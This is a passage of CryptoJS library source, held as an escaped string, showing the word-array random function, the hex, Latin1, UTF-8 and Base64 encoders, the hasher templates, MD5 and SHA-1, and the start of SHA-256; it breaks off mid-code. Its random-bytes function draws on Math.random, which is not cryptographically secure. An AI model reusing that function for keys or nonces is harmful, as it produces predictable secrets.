bytes.\n\t         *\n\t         * @param {number} nBytes The number of random bytes to generate.\n\t         *\n\t         * @return {WordArray} The random word array.\n\t         *\n\t         * @static\n\t         *\n\t         * @example\n\t         *\n\t         *     var wordArray = CryptoJS.lib.WordArray.random(16);\n\t         */\n\t        random: function (nBytes) {\n\t            var words = [];\n\n\t            var r = (function (m_w) {\n\t                var m_w = m_w;\n\t                var m_z = 0x3ade68b1;\n\t                var mask = 0xffffffff;\n\n\t                return function () {\n\t                    m_z = (0x9069 * (m_z & 0xFFFF) + (m_z >> 0x10)) & mask;\n\t                    m_w = (0x4650 * (m_w & 0xFFFF) + (m_w >> 0x10)) & mask;\n\t                    var result = ((m_z << 0x10) + m_w) & mask;\n\t                    result /= 0x100000000;\n\t                    result += 0.5;\n\t                    return result * (Math.random() > .5 ? 1 : -1);\n\t                }\n\t            });\n\n\t            for (var i = 0, rcache; i < nBytes; i += 4) {\n\t                var _r = r((rcache || Math.random()) * 0x100000000);\n\n\t                rcache = _r() * 0x3ade67b7;\n\t                words.push((_r() * 0x100000000) | 0);\n\t            }\n\n\t            return new WordArray.init(words, nBytes);\n\t        }\n\t    });\n\n\t    /**\n\t     * Encoder namespace.\n\t     */\n\t    var C_enc = C.enc = {};\n\n\t    /**\n\t     * Hex encoding strategy.\n\t     */\n\t    var Hex = C_enc.Hex = {\n\t        /**\n\t         * Converts a word array to a hex string.\n\t         *\n\t         * @param {WordArray} wordArray The word array.\n\t         *\n\t         * @return {string} The hex string.\n\t         *\n\t         * @static\n\t         *\n\t         * @example\n\t         *\n\t         *     var hexString = CryptoJS.enc.Hex.stringify(wordArray);\n\t         */\n\t        stringify: function (wordArray) {\n\t            // Shortcuts\n\t            var words = wordArray.words;\n\t            var sigBytes = wordArray.sigBytes;\n\n\t            // Convert\n\t            var hexChars = [];\n\t            for (var i = 0; i < sigBytes; i++) {\n\t                var bite = (words[i >>> 2] >>> (24 - (i % 4) * 8)) & 0xff;\n\t                hexChars.push((bite >>> 4).toString(16));\n\t                hexChars.push((bite & 0x0f).toString(16));\n\t            }\n\n\t            return hexChars.join('');\n\t        },\n\n\t        /**\n\t         * Converts a hex string to a word array.\n\t         *\n\t         * @param {string} hexStr The hex string.\n\t         *\n\t         * @return {WordArray} The word array.\n\t         *\n\t         * @static\n\t         *\n\t         * @example\n\t         *\n\t         *     var wordArray = CryptoJS.enc.Hex.parse(hexString);\n\t         */\n\t        parse: function (hexStr) {\n\t            // Shortcut\n\t            var hexStrLength = hexStr.length;\n\n\t            // Convert\n\t            var words = [];\n\t            for (var i = 0; i < hexStrLength; i += 2) {\n\t                words[i >>> 3] |= parseInt(hexStr.substr(i, 2), 16) << (24 - (i % 8) * 4);\n\t            }\n\n\t            return new WordArray.init(words, hexStrLength / 2);\n\t        }\n\t    };\n\n\t    /**\n\t     * Latin1 encoding strategy.\n\t     */\n\t    var Latin1 = C_enc.Latin1 = {\n\t        /**\n\t         * Converts a word array to a Latin1 string.\n\t         *\n\t         * @param {WordArray} wordArray The word array.\n\t         *\n\t         * @return {string} The Latin1 string.\n\t         *\n\t         * @static\n\t         *\n\t         * @example\n\t         *\n\t         *     var latin1String = CryptoJS.enc.Latin1.stringify(wordArray);\n\t         */\n\t        stringify: function (wordArray) {\n\t            // Shortcuts\n\t            var words = wordArray.words;\n\t            var sigBytes = wordArray.sigBytes;\n\n\t            // Convert\n\t            var latin1Chars = [];\n\t            for (var i = 0; i < sigBytes; i++) {\n\t                var bite = (words[i >>> 2] >>> (24 - (i % 4) * 8)) & 0xff;\n\t                latin1Chars.push(String.fromCharCode(bite));\n\t            }\n\n\t            return latin1Chars.join('');\n\t        },\n\n\t        /**\n\t         * Converts a Latin1 string to a word array.\n\t         *\n\t         * @param {string} latin1Str The Latin1 string.\n\t         *\n\t         * @return {WordArray} The word array.\n\t         *\n\t         * @static\n\t         *\n\t         * @example\n\t         *\n\t         *     var wordArray = CryptoJS.enc.Latin1.parse(latin1String);\n\t         */\n\t        parse: function (latin1Str) {\n\t            // Shortcut\n\t            var latin1StrLength = latin1Str.length;\n\n\t            // Convert\n\t            var words = [];\n\t            for (var i = 0; i < latin1StrLength; i++) {\n\t                words[i >>> 2] |= (latin1Str.charCodeAt(i) & 0xff) << (24 - (i % 4) * 8);\n\t            }\n\n\t            return new WordArray.init(words, latin1StrLength);\n\t        }\n\t    };\n\n\t    /**\n\t     * UTF-8 encoding strategy.\n\t     */\n\t    var Utf8 = C_enc.Utf8 = {\n\t        /**\n\t         * Converts a word array to a UTF-8 string.\n\t         *\n\t         * @param {WordArray} wordArray The word array.\n\t         *\n\t         * @return {string} The UTF-8 string.\n\t         *\n\t         * @static\n\t         *\n\t         * @example\n\t         *\n\t         *     var utf8String = CryptoJS.enc.Utf8.stringify(wordArray);\n\t         */\n\t        stringify: function (wordArray) {\n\t            try {\n\t                return decodeURIComponent(escape(Latin1.stringify(wordArray)));\n\t            } catch (e) {\n\t                throw new Error('Malformed UTF-8 data');\n\t            }\n\t        },\n\n\t        /**\n\t         * Converts a UTF-8 string to a word array.\n\t         *\n\t         * @param {string} utf8Str The UTF-8 string.\n\t         *\n\t         * @return {WordArray} The word array.\n\t         *\n\t         * @static\n\t         *\n\t         * @example\n\t         *\n\t         *     var wordArray = CryptoJS.enc.Utf8.parse(utf8String);\n\t         */\n\t        parse: function (utf8Str) {\n\t            return Latin1.parse(unescape(encodeURIComponent(utf8Str)));\n\t        }\n\t    };\n\n\t    /**\n\t     * Abstract buffered block algorithm template.\n\t     *\n\t     * The property blockSize must be implemented in a concrete subtype.\n\t     *\n\t     * @property {number} _minBufferSize The number of blocks that should be kept unprocessed in the buffer. Default: 0\n\t     */\n\t    var BufferedBlockAlgorithm = C_lib.BufferedBlockAlgorithm = Base.extend({\n\t        /**\n\t         * Resets this block algorithm's data buffer to its initial state.\n\t         *\n\t         * @example\n\t         *\n\t         *     bufferedBlockAlgorithm.reset();\n\t         */\n\t        reset: function () {\n\t            // Initial values\n\t            this._data = new WordArray.init();\n\t            this._nDataBytes = 0;\n\t        },\n\n\t        /**\n\t         * Adds new data to this block algorithm's buffer.\n\t         *\n\t         * @param {WordArray|string} data The data to append. Strings are converted to a WordArray using UTF-8.\n\t         *\n\t         * @example\n\t         *\n\t         *     bufferedBlockAlgorithm._append('data');\n\t         *     bufferedBlockAlgorithm._append(wordArray);\n\t         */\n\t        _append: function (data) {\n\t            // Convert string to WordArray, else assume WordArray already\n\t            if (typeof data == 'string') {\n\t                data = Utf8.parse(data);\n\t            }\n\n\t            // Append\n\t            this._data.concat(data);\n\t            this._nDataBytes += data.sigBytes;\n\t        },\n\n\t        /**\n\t         * Processes available data blocks.\n\t         *\n\t         * This method invokes _doProcessBlock(offset), which must be implemented by a concrete subtype.\n\t         *\n\t         * @param {boolean} doFlush Whether all blocks and partial blocks should be processed.\n\t         *\n\t         * @return {WordArray} The processed data.\n\t         *\n\t         * @example\n\t         *\n\t         *     var processedData = bufferedBlockAlgorithm._process();\n\t         *     var processedData = bufferedBlockAlgorithm._process(!!'flush');\n\t         */\n\t        _process: function (doFlush) {\n\t            // Shortcuts\n\t            var data = this._data;\n\t            var dataWords = data.words;\n\t            var dataSigBytes = data.sigBytes;\n\t            var blockSize = this.blockSize;\n\t            var blockSizeBytes = blockSize * 4;\n\n\t            // Count blocks ready\n\t            var nBlocksReady = dataSigBytes / blockSizeBytes;\n\t            if (doFlush) {\n\t                // Round up to include partial blocks\n\t                nBlocksReady = Math.ceil(nBlocksReady);\n\t            } else {\n\t                // Round down to include only full blocks,\n\t                // less the number of blocks that must remain in the buffer\n\t                nBlocksReady = Math.max((nBlocksReady | 0) - this._minBufferSize, 0);\n\t            }\n\n\t            // Count words ready\n\t            var nWordsReady = nBlocksReady * blockSize;\n\n\t            // Count bytes ready\n\t            var nBytesReady = Math.min(nWordsReady * 4, dataSigBytes);\n\n\t            // Process blocks\n\t            if (nWordsReady) {\n\t                for (var offset = 0; offset < nWordsReady; offset += blockSize) {\n\t                    // Perform concrete-algorithm logic\n\t                    this._doProcessBlock(dataWords, offset);\n\t                }\n\n\t                // Remove processed words\n\t                var processedWords = dataWords.splice(0, nWordsReady);\n\t                data.sigBytes -= nBytesReady;\n\t            }\n\n\t            // Return processed words\n\t            return new WordArray.init(processedWords, nBytesReady);\n\t        },\n\n\t        /**\n\t         * Creates a copy of this object.\n\t         *\n\t         * @return {Object} The clone.\n\t         *\n\t         * @example\n\t         *\n\t         *     var clone = bufferedBlockAlgorithm.clone();\n\t         */\n\t        clone: function () {\n\t            var clone = Base.clone.call(this);\n\t            clone._data = this._data.clone();\n\n\t            return clone;\n\t        },\n\n\t        _minBufferSize: 0\n\t    });\n\n\t    /**\n\t     * Abstract hasher template.\n\t     *\n\t     * @property {number} blockSize The number of 32-bit words this hasher operates on. Default: 16 (512 bits)\n\t     */\n\t    var Hasher = C_lib.Hasher = BufferedBlockAlgorithm.extend({\n\t        /**\n\t         * Configuration options.\n\t         */\n\t        cfg: Base.extend(),\n\n\t        /**\n\t         * Initializes a newly created hasher.\n\t         *\n\t         * @param {Object} cfg (Optional) The configuration options to use for this hash computation.\n\t         *\n\t         * @example\n\t         *\n\t         *     var hasher = CryptoJS.algo.SHA256.create();\n\t         */\n\t        init: function (cfg) {\n\t            // Apply config defaults\n\t            this.cfg = this.cfg.extend(cfg);\n\n\t            // Set initial values\n\t            this.reset();\n\t        },\n\n\t        /**\n\t         * Resets this hasher to its initial state.\n\t         *\n\t         * @example\n\t         *\n\t         *     hasher.reset();\n\t         */\n\t        reset: function () {\n\t            // Reset data buffer\n\t            BufferedBlockAlgorithm.reset.call(this);\n\n\t            // Perform concrete-hasher logic\n\t            this._doReset();\n\t        },\n\n\t        /**\n\t         * Updates this hasher with a message.\n\t         *\n\t         * @param {WordArray|string} messageUpdate The message to append.\n\t         *\n\t         * @return {Hasher} This hasher.\n\t         *\n\t         * @example\n\t         *\n\t         *     hasher.update('message');\n\t         *     hasher.update(wordArray);\n\t         */\n\t        update: function (messageUpdate) {\n\t            // Append\n\t            this._append(messageUpdate);\n\n\t            // Update the hash\n\t            this._process();\n\n\t            // Chainable\n\t            return this;\n\t        },\n\n\t        /**\n\t         * Finalizes the hash computation.\n\t         * Note that the finalize operation is effectively a destructive, read-once operation.\n\t         *\n\t         * @param {WordArray|string} messageUpdate (Optional) A final message update.\n\t         *\n\t         * @return {WordArray} The hash.\n\t         *\n\t         * @example\n\t         *\n\t         *     var hash = hasher.finalize();\n\t         *     var hash = hasher.finalize('message');\n\t         *     var hash = hasher.finalize(wordArray);\n\t         */\n\t        finalize: function (messageUpdate) {\n\t            // Final message update\n\t            if (messageUpdate) {\n\t                this._append(messageUpdate);\n\t            }\n\n\t            // Perform concrete-hasher logic\n\t            var hash = this._doFinalize();\n\n\t            return hash;\n\t        },\n\n\t        blockSize: 512/32,\n\n\t        /**\n\t         * Creates a shortcut function to a hasher's object interface.\n\t         *\n\t         * @param {Hasher} hasher The hasher to create a helper for.\n\t         *\n\t         * @return {Function} The shortcut function.\n\t         *\n\t         * @static\n\t         *\n\t         * @example\n\t         *\n\t         *     var SHA256 = CryptoJS.lib.Hasher._createHelper(CryptoJS.algo.SHA256);\n\t         */\n\t        _createHelper: function (hasher) {\n\t            return function (message, cfg) {\n\t                return new hasher.init(cfg).finalize(message);\n\t            };\n\t        },\n\n\t        /**\n\t         * Creates a shortcut function to the HMAC's object interface.\n\t         *\n\t         * @param {Hasher} hasher The hasher to use in this HMAC helper.\n\t         *\n\t         * @return {Function} The shortcut function.\n\t         *\n\t         * @static\n\t         *\n\t         * @example\n\t         *\n\t         *     var HmacSHA256 = CryptoJS.lib.Hasher._createHmacHelper(CryptoJS.algo.SHA256);\n\t         */\n\t        _createHmacHelper: function (hasher) {\n\t            return function (message, key) {\n\t                return new C_algo.HMAC.init(hasher, key).finalize(message);\n\t            };\n\t        }\n\t    });\n\n\t    /**\n\t     * Algorithm namespace.\n\t     */\n\t    var C_algo = C.algo = {};\n\n\t    return C;\n\t}(Math));\n\n\n\t(function () {\n\t    // Shortcuts\n\t    var C = CryptoJS;\n\t    var C_lib = C.lib;\n\t    var WordArray = C_lib.WordArray;\n\t    var C_enc = C.enc;\n\n\t    /**\n\t     * Base64 encoding strategy.\n\t     */\n\t    var Base64 = C_enc.Base64 = {\n\t        /**\n\t         * Converts a word array to a Base64 string.\n\t         *\n\t         * @param {WordArray} wordArray The word array.\n\t         *\n\t         * @return {string} The Base64 string.\n\t         *\n\t         * @static\n\t         *\n\t         * @example\n\t         *\n\t         *     var base64String = CryptoJS.enc.Base64.stringify(wordArray);\n\t         */\n\t        stringify: function (wordArray) {\n\t            // Shortcuts\n\t            var words = wordArray.words;\n\t            var sigBytes = wordArray.sigBytes;\n\t            var map = this._map;\n\n\t            // Clamp excess bits\n\t            wordArray.clamp();\n\n\t            // Convert\n\t            var base64Chars = [];\n\t            for (var i = 0; i < sigBytes; i += 3) {\n\t                var byte1 = (words[i >>> 2]       >>> (24 - (i % 4) * 8))       & 0xff;\n\t                var byte2 = (words[(i + 1) >>> 2] >>> (24 - ((i + 1) % 4) * 8)) & 0xff;\n\t                var byte3 = (words[(i + 2) >>> 2] >>> (24 - ((i + 2) % 4) * 8)) & 0xff;\n\n\t                var triplet = (byte1 << 16) | (byte2 << 8) | byte3;\n\n\t                for (var j = 0; (j < 4) && (i + j * 0.75 < sigBytes); j++) {\n\t                    base64Chars.push(map.charAt((triplet >>> (6 * (3 - j))) & 0x3f));\n\t                }\n\t            }\n\n\t            // Add padding\n\t            var paddingChar = map.charAt(64);\n\t            if (paddingChar) {\n\t                while (base64Chars.length % 4) {\n\t                    base64Chars.push(paddingChar);\n\t                }\n\t            }\n\n\t            return base64Chars.join('');\n\t        },\n\n\t        /**\n\t         * Converts a Base64 string to a word array.\n\t         *\n\t         * @param {string} base64Str The Base64 string.\n\t         *\n\t         * @return {WordArray} The word array.\n\t         *\n\t         * @static\n\t         *\n\t         * @example\n\t         *\n\t         *     var wordArray = CryptoJS.enc.Base64.parse(base64String);\n\t         */\n\t        parse: function (base64Str) {\n\t            // Shortcuts\n\t            var base64StrLength = base64Str.length;\n\t            var map = this._map;\n\t            var reverseMap = this._reverseMap;\n\n\t            if (!reverseMap) {\n\t                    reverseMap = this._reverseMap = [];\n\t                    for (var j = 0; j < map.length; j++) {\n\t                        reverseMap[map.charCodeAt(j)] = j;\n\t                    }\n\t            }\n\n\t            // Ignore padding\n\t            var paddingChar = map.charAt(64);\n\t            if (paddingChar) {\n\t                var paddingIndex = base64Str.indexOf(paddingChar);\n\t                if (paddingIndex !== -1) {\n\t                    base64StrLength = paddingIndex;\n\t                }\n\t            }\n\n\t            // Convert\n\t            return parseLoop(base64Str, base64StrLength, reverseMap);\n\n\t        },\n\n\t        _map: 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='\n\t    };\n\n\t    function parseLoop(base64Str, base64StrLength, reverseMap) {\n\t      var words = [];\n\t      var nBytes = 0;\n\t      for (var i = 0; i < base64StrLength; i++) {\n\t          if (i % 4) {\n\t              var bits1 = reverseMap[base64Str.charCodeAt(i - 1)] << ((i % 4) * 2);\n\t              var bits2 = reverseMap[base64Str.charCodeAt(i)] >>> (6 - (i % 4) * 2);\n\t              words[nBytes >>> 2] |= (bits1 | bits2) << (24 - (nBytes % 4) * 8);\n\t              nBytes++;\n\t          }\n\t      }\n\t      return WordArray.create(words, nBytes);\n\t    }\n\t}());\n\n\n\t(function (Math) {\n\t    // Shortcuts\n\t    var C = CryptoJS;\n\t    var C_lib = C.lib;\n\t    var WordArray = C_lib.WordArray;\n\t    var Hasher = C_lib.Hasher;\n\t    var C_algo = C.algo;\n\n\t    // Constants table\n\t    var T = [];\n\n\t    // Compute constants\n\t    (function () {\n\t        for (var i = 0; i < 64; i++) {\n\t            T[i] = (Math.abs(Math.sin(i + 1)) * 0x100000000) | 0;\n\t        }\n\t    }());\n\n\t    /**\n\t     * MD5 hash algorithm.\n\t     */\n\t    var MD5 = C_algo.MD5 = Hasher.extend({\n\t        _doReset: function () {\n\t            this._hash = new WordArray.init([\n\t                0x67452301, 0xefcdab89,\n\t                0x98badcfe, 0x10325476\n\t            ]);\n\t        },\n\n\t        _doProcessBlock: function (M, offset) {\n\t            // Swap endian\n\t            for (var i = 0; i < 16; i++) {\n\t                // Shortcuts\n\t                var offset_i = offset + i;\n\t                var M_offset_i = M[offset_i];\n\n\t                M[offset_i] = (\n\t                    (((M_offset_i << 8)  | (M_offset_i >>> 24)) & 0x00ff00ff) |\n\t                    (((M_offset_i << 24) | (M_offset_i >>> 8))  & 0xff00ff00)\n\t                );\n\t            }\n\n\t            // Shortcuts\n\t            var H = this._hash.words;\n\n\t            var M_offset_0  = M[offset + 0];\n\t            var M_offset_1  = M[offset + 1];\n\t            var M_offset_2  = M[offset + 2];\n\t            var M_offset_3  = M[offset + 3];\n\t            var M_offset_4  = M[offset + 4];\n\t            var M_offset_5  = M[offset + 5];\n\t            var M_offset_6  = M[offset + 6];\n\t            var M_offset_7  = M[offset + 7];\n\t            var M_offset_8  = M[offset + 8];\n\t            var M_offset_9  = M[offset + 9];\n\t            var M_offset_10 = M[offset + 10];\n\t            var M_offset_11 = M[offset + 11];\n\t            var M_offset_12 = M[offset + 12];\n\t            var M_offset_13 = M[offset + 13];\n\t            var M_offset_14 = M[offset + 14];\n\t            var M_offset_15 = M[offset + 15];\n\n\t            // Working varialbes\n\t            var a = H[0];\n\t            var b = H[1];\n\t            var c = H[2];\n\t            var d = H[3];\n\n\t            // Computation\n\t            a = FF(a, b, c, d, M_offset_0,  7,  T[0]);\n\t            d = FF(d, a, b, c, M_offset_1,  12, T[1]);\n\t            c = FF(c, d, a, b, M_offset_2,  17, T[2]);\n\t            b = FF(b, c, d, a, M_offset_3,  22, T[3]);\n\t            a = FF(a, b, c, d, M_offset_4,  7,  T[4]);\n\t            d = FF(d, a, b, c, M_offset_5,  12, T[5]);\n\t            c = FF(c, d, a, b, M_offset_6,  17, T[6]);\n\t            b = FF(b, c, d, a, M_offset_7,  22, T[7]);\n\t            a = FF(a, b, c, d, M_offset_8,  7,  T[8]);\n\t            d = FF(d, a, b, c, M_offset_9,  12, T[9]);\n\t            c = FF(c, d, a, b, M_offset_10, 17, T[10]);\n\t            b = FF(b, c, d, a, M_offset_11, 22, T[11]);\n\t            a = FF(a, b, c, d, M_offset_12, 7,  T[12]);\n\t            d = FF(d, a, b, c, M_offset_13, 12, T[13]);\n\t            c = FF(c, d, a, b, M_offset_14, 17, T[14]);\n\t            b = FF(b, c, d, a, M_offset_15, 22, T[15]);\n\n\t            a = GG(a, b, c, d, M_offset_1,  5,  T[16]);\n\t            d = GG(d, a, b, c, M_offset_6,  9,  T[17]);\n\t            c = GG(c, d, a, b, M_offset_11, 14, T[18]);\n\t            b = GG(b, c, d, a, M_offset_0,  20, T[19]);\n\t            a = GG(a, b, c, d, M_offset_5,  5,  T[20]);\n\t            d = GG(d, a, b, c, M_offset_10, 9,  T[21]);\n\t            c = GG(c, d, a, b, M_offset_15, 14, T[22]);\n\t            b = GG(b, c, d, a, M_offset_4,  20, T[23]);\n\t            a = GG(a, b, c, d, M_offset_9,  5,  T[24]);\n\t            d = GG(d, a, b, c, M_offset_14, 9,  T[25]);\n\t            c = GG(c, d, a, b, M_offset_3,  14, T[26]);\n\t            b = GG(b, c, d, a, M_offset_8,  20, T[27]);\n\t            a = GG(a, b, c, d, M_offset_13, 5,  T[28]);\n\t            d = GG(d, a, b, c, M_offset_2,  9,  T[29]);\n\t            c = GG(c, d, a, b, M_offset_7,  14, T[30]);\n\t            b = GG(b, c, d, a, M_offset_12, 20, T[31]);\n\n\t            a = HH(a, b, c, d, M_offset_5,  4,  T[32]);\n\t            d = HH(d, a, b, c, M_offset_8,  11, T[33]);\n\t            c = HH(c, d, a, b, M_offset_11, 16, T[34]);\n\t            b = HH(b, c, d, a, M_offset_14, 23, T[35]);\n\t            a = HH(a, b, c, d, M_offset_1,  4,  T[36]);\n\t            d = HH(d, a, b, c, M_offset_4,  11, T[37]);\n\t            c = HH(c, d, a, b, M_offset_7,  16, T[38]);\n\t            b = HH(b, c, d, a, M_offset_10, 23, T[39]);\n\t            a = HH(a, b, c, d, M_offset_13, 4,  T[40]);\n\t            d = HH(d, a, b, c, M_offset_0,  11, T[41]);\n\t            c = HH(c, d, a, b, M_offset_3,  16, T[42]);\n\t            b = HH(b, c, d, a, M_offset_6,  23, T[43]);\n\t            a = HH(a, b, c, d, M_offset_9,  4,  T[44]);\n\t            d = HH(d, a, b, c, M_offset_12, 11, T[45]);\n\t            c = HH(c, d, a, b, M_offset_15, 16, T[46]);\n\t            b = HH(b, c, d, a, M_offset_2,  23, T[47]);\n\n\t            a = II(a, b, c, d, M_offset_0,  6,  T[48]);\n\t            d = II(d, a, b, c, M_offset_7,  10, T[49]);\n\t            c = II(c, d, a, b, M_offset_14, 15, T[50]);\n\t            b = II(b, c, d, a, M_offset_5,  21, T[51]);\n\t            a = II(a, b, c, d, M_offset_12, 6,  T[52]);\n\t            d = II(d, a, b, c, M_offset_3,  10, T[53]);\n\t            c = II(c, d, a, b, M_offset_10, 15, T[54]);\n\t            b = II(b, c, d, a, M_offset_1,  21, T[55]);\n\t            a = II(a, b, c, d, M_offset_8,  6,  T[56]);\n\t            d = II(d, a, b, c, M_offset_15, 10, T[57]);\n\t            c = II(c, d, a, b, M_offset_6,  15, T[58]);\n\t            b = II(b, c, d, a, M_offset_13, 21, T[59]);\n\t            a = II(a, b, c, d, M_offset_4,  6,  T[60]);\n\t            d = II(d, a, b, c, M_offset_11, 10, T[61]);\n\t            c = II(c, d, a, b, M_offset_2,  15, T[62]);\n\t            b = II(b, c, d, a, M_offset_9,  21, T[63]);\n\n\t            // Intermediate hash value\n\t            H[0] = (H[0] + a) | 0;\n\t            H[1] = (H[1] + b) | 0;\n\t            H[2] = (H[2] + c) | 0;\n\t            H[3] = (H[3] + d) | 0;\n\t        },\n\n\t        _doFinalize: function () {\n\t            // Shortcuts\n\t            var data = this._data;\n\t            var dataWords = data.words;\n\n\t            var nBitsTotal = this._nDataBytes * 8;\n\t            var nBitsLeft = data.sigBytes * 8;\n\n\t            // Add padding\n\t            dataWords[nBitsLeft >>> 5] |= 0x80 << (24 - nBitsLeft % 32);\n\n\t            var nBitsTotalH = Math.floor(nBitsTotal / 0x100000000);\n\t            var nBitsTotalL = nBitsTotal;\n\t            dataWords[(((nBitsLeft + 64) >>> 9) << 4) + 15] = (\n\t                (((nBitsTotalH << 8)  | (nBitsTotalH >>> 24)) & 0x00ff00ff) |\n\t                (((nBitsTotalH << 24) | (nBitsTotalH >>> 8))  & 0xff00ff00)\n\t            );\n\t            dataWords[(((nBitsLeft + 64) >>> 9) << 4) + 14] = (\n\t                (((nBitsTotalL << 8)  | (nBitsTotalL >>> 24)) & 0x00ff00ff) |\n\t                (((nBitsTotalL << 24) | (nBitsTotalL >>> 8))  & 0xff00ff00)\n\t            );\n\n\t            data.sigBytes = (dataWords.length + 1) * 4;\n\n\t            // Hash final blocks\n\t            this._process();\n\n\t            // Shortcuts\n\t            var hash = this._hash;\n\t            var H = hash.words;\n\n\t            // Swap endian\n\t            for (var i = 0; i < 4; i++) {\n\t                // Shortcut\n\t                var H_i = H[i];\n\n\t                H[i] = (((H_i << 8)  | (H_i >>> 24)) & 0x00ff00ff) |\n\t                       (((H_i << 24) | (H_i >>> 8))  & 0xff00ff00);\n\t            }\n\n\t            // Return final computed hash\n\t            return hash;\n\t        },\n\n\t        clone: function () {\n\t            var clone = Hasher.clone.call(this);\n\t            clone._hash = this._hash.clone();\n\n\t            return clone;\n\t        }\n\t    });\n\n\t    function FF(a, b, c, d, x, s, t) {\n\t        var n = a + ((b & c) | (~b & d)) + x + t;\n\t        return ((n << s) | (n >>> (32 - s))) + b;\n\t    }\n\n\t    function GG(a, b, c, d, x, s, t) {\n\t        var n = a + ((b & d) | (c & ~d)) + x + t;\n\t        return ((n << s) | (n >>> (32 - s))) + b;\n\t    }\n\n\t    function HH(a, b, c, d, x, s, t) {\n\t        var n = a + (b ^ c ^ d) + x + t;\n\t        return ((n << s) | (n >>> (32 - s))) + b;\n\t    }\n\n\t    function II(a, b, c, d, x, s, t) {\n\t        var n = a + (c ^ (b | ~d)) + x + t;\n\t        return ((n << s) | (n >>> (32 - s))) + b;\n\t    }\n\n\t    /**\n\t     * Shortcut function to the hasher's object interface.\n\t     *\n\t     * @param {WordArray|string} message The message to hash.\n\t     *\n\t     * @return {WordArray} The hash.\n\t     *\n\t     * @static\n\t     *\n\t     * @example\n\t     *\n\t     *     var hash = CryptoJS.MD5('message');\n\t     *     var hash = CryptoJS.MD5(wordArray);\n\t     */\n\t    C.MD5 = Hasher._createHelper(MD5);\n\n\t    /**\n\t     * Shortcut function to the HMAC's object interface.\n\t     *\n\t     * @param {WordArray|string} message The message to hash.\n\t     * @param {WordArray|string} key The secret key.\n\t     *\n\t     * @return {WordArray} The HMAC.\n\t     *\n\t     * @static\n\t     *\n\t     * @example\n\t     *\n\t     *     var hmac = CryptoJS.HmacMD5(message, key);\n\t     */\n\t    C.HmacMD5 = Hasher._createHmacHelper(MD5);\n\t}(Math));\n\n\n\t(function () {\n\t    // Shortcuts\n\t    var C = CryptoJS;\n\t    var C_lib = C.lib;\n\t    var WordArray = C_lib.WordArray;\n\t    var Hasher = C_lib.Hasher;\n\t    var C_algo = C.algo;\n\n\t    // Reusable object\n\t    var W = [];\n\n\t    /**\n\t     * SHA-1 hash algorithm.\n\t     */\n\t    var SHA1 = C_algo.SHA1 = Hasher.extend({\n\t        _doReset: function () {\n\t            this._hash = new WordArray.init([\n\t                0x67452301, 0xefcdab89,\n\t                0x98badcfe, 0x10325476,\n\t                0xc3d2e1f0\n\t            ]);\n\t        },\n\n\t        _doProcessBlock: function (M, offset) {\n\t            // Shortcut\n\t            var H = this._hash.words;\n\n\t            // Working variables\n\t            var a = H[0];\n\t            var b = H[1];\n\t            var c = H[2];\n\t            var d = H[3];\n\t            var e = H[4];\n\n\t            // Computation\n\t            for (var i = 0; i < 80; i++) {\n\t                if (i < 16) {\n\t                    W[i] = M[offset + i] | 0;\n\t                } else {\n\t                    var n = W[i - 3] ^ W[i - 8] ^ W[i - 14] ^ W[i - 16];\n\t                    W[i] = (n << 1) | (n >>> 31);\n\t                }\n\n\t                var t = ((a << 5) | (a >>> 27)) + e + W[i];\n\t                if (i < 20) {\n\t                    t += ((b & c) | (~b & d)) + 0x5a827999;\n\t                } else if (i < 40) {\n\t                    t += (b ^ c ^ d) + 0x6ed9eba1;\n\t                } else if (i < 60) {\n\t                    t += ((b & c) | (b & d) | (c & d)) - 0x70e44324;\n\t                } else /* if (i < 80) */ {\n\t                    t += (b ^ c ^ d) - 0x359d3e2a;\n\t                }\n\n\t                e = d;\n\t                d = c;\n\t                c = (b << 30) | (b >>> 2);\n\t                b = a;\n\t                a = t;\n\t            }\n\n\t            // Intermediate hash value\n\t            H[0] = (H[0] + a) | 0;\n\t            H[1] = (H[1] + b) | 0;\n\t            H[2] = (H[2] + c) | 0;\n\t            H[3] = (H[3] + d) | 0;\n\t            H[4] = (H[4] + e) | 0;\n\t        },\n\n\t        _doFinalize: function () {\n\t            // Shortcuts\n\t            var data = this._data;\n\t            var dataWords = data.words;\n\n\t            var nBitsTotal = this._nDataBytes * 8;\n\t            var nBitsLeft = data.sigBytes * 8;\n\n\t            // Add padding\n\t            dataWords[nBitsLeft >>> 5] |= 0x80 << (24 - nBitsLeft % 32);\n\t            dataWords[(((nBitsLeft + 64) >>> 9) << 4) + 14] = Math.floor(nBitsTotal / 0x100000000);\n\t            dataWords[(((nBitsLeft + 64) >>> 9) << 4) + 15] = nBitsTotal;\n\t            data.sigBytes = dataWords.length * 4;\n\n\t            // Hash final blocks\n\t            this._process();\n\n\t            // Return final computed hash\n\t            return this._hash;\n\t        },\n\n\t        clone: function () {\n\t            var clone = Hasher.clone.call(this);\n\t            clone._hash = this._hash.clone();\n\n\t            return clone;\n\t        }\n\t    });\n\n\t    /**\n\t     * Shortcut function to the hasher's object interface.\n\t     *\n\t     * @param {WordArray|string} message The message to hash.\n\t     *\n\t     * @return {WordArray} The hash.\n\t     *\n\t     * @static\n\t     *\n\t     * @example\n\t     *\n\t     *     var hash = CryptoJS.SHA1('message');\n\t     *     var hash = CryptoJS.SHA1(wordArray);\n\t     */\n\t    C.SHA1 = Hasher._createHelper(SHA1);\n\n\t    /**\n\t     * Shortcut function to the HMAC's object interface.\n\t     *\n\t     * @param {WordArray|string} message The message to hash.\n\t     * @param {WordArray|string} key The secret key.\n\t     *\n\t     * @return {WordArray} The HMAC.\n\t     *\n\t     * @static\n\t     *\n\t     * @example\n\t     *\n\t     *     var hmac = CryptoJS.HmacSHA1(message, key);\n\t     */\n\t    C.HmacSHA1 = Hasher._createHmacHelper(SHA1);\n\t}());\n\n\n\t(function (Math) {\n\t    // Shortcuts\n\t    var C = CryptoJS;\n\t    var C_lib = C.lib;\n\t    var WordArray = C_lib.WordArray;\n\t    var Hasher = C_lib.Hasher;\n\t    var C_algo = C.algo;\n\n\t    // Initialization and round constants tables\n\t    var H = [];\n\t    var K = [];\n\n\t    // Compute constants\n\t    (function () {\n\t        function isPrime(n) {\n\t            var sqrtN = Math.sqrt(n);\n\t            for (var factor = 2; factor <= sqrtN; factor++) {\n\t                if (!(n % factor)) {\n\t                    return false;\n\t                }\n\t            }\n\n\t            return true;\n\t        }\n\n\t        function getFractionalBits(n) {\n\t            return ((n - (n | 0)) * 0x100000000) | 0;\n\t        }\n\n\t        var n = 2;\n\t        var nPrime = 0;\n\t        while (nPrime < 64) {\n\t            if 